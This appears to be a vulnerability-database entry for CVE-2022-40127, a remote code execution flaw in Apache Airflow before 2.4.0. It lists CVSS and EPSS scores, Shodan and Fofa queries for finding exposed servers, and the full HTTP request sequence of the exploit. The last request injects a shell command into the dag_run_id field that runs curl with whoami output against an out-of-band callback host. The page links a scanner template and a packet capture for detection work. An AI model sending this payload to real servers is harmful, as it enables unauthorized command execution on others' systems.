🔙 목록으로 돌아가기

CVE-2022-40127: AirFlow < 2.4.0 - Remote Code Execution

TitleAirFlow < 2.4.0 - Remote Code Execution
AuthorDhiyaneshDk,ritikchaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade AirFlow to version 2.4.0 or later to mitigate this vulnerability.
CVSS Score8.8
EPSS Score0.93736
CVE IDCVE-2022-40127
CWE IDCWE-94
Shodan Querytitle:"Sign In - Airflow"http.title:"airflow - dags" || http.html:"apache airflow"http.title:"sign in - airflow"product:"redis"
Fofa Querytitle="sign in - airflow"apache airflowtitle="airflow - dags" || http.html:"apache airflow"
Tags cve cve2022 airflow rce oast authenticated apache vuln

🔍 Vulnerability Description

A vulnerability in Example Dags of Apache Airflow allows an attacker with UI access who can trigger DAGs, to execute arbitrary commands via manually provided run_id parameter. This issue affects Apache Airflow Apache Airflow versions prior to 2.4.0.

🌐 HTTP Request

GET /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.4
Connection: close
Accept-Encoding: gzip
POST /login/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=fUtMKO&password=E4beyg&_csrf_token=t8dy1u
POST /api/v1/dags/example_bash_operator/dagRuns HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Connection: close
Content-Length: 198
Content-Type: application/json
Accept-Encoding: gzip

{

    "conf": {

"dag_run": "38FCGjZxznB33dMMKHis3HDA29u"

},

  "dag_run_id": "id \"&& curl `whoami`.d5jmqb9le0o3no16bacgm94xp8xi3dkrt.oast.pro",

  "logical_date": "2026-01-14T19:17:17.920Z"



}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40127.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40127.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A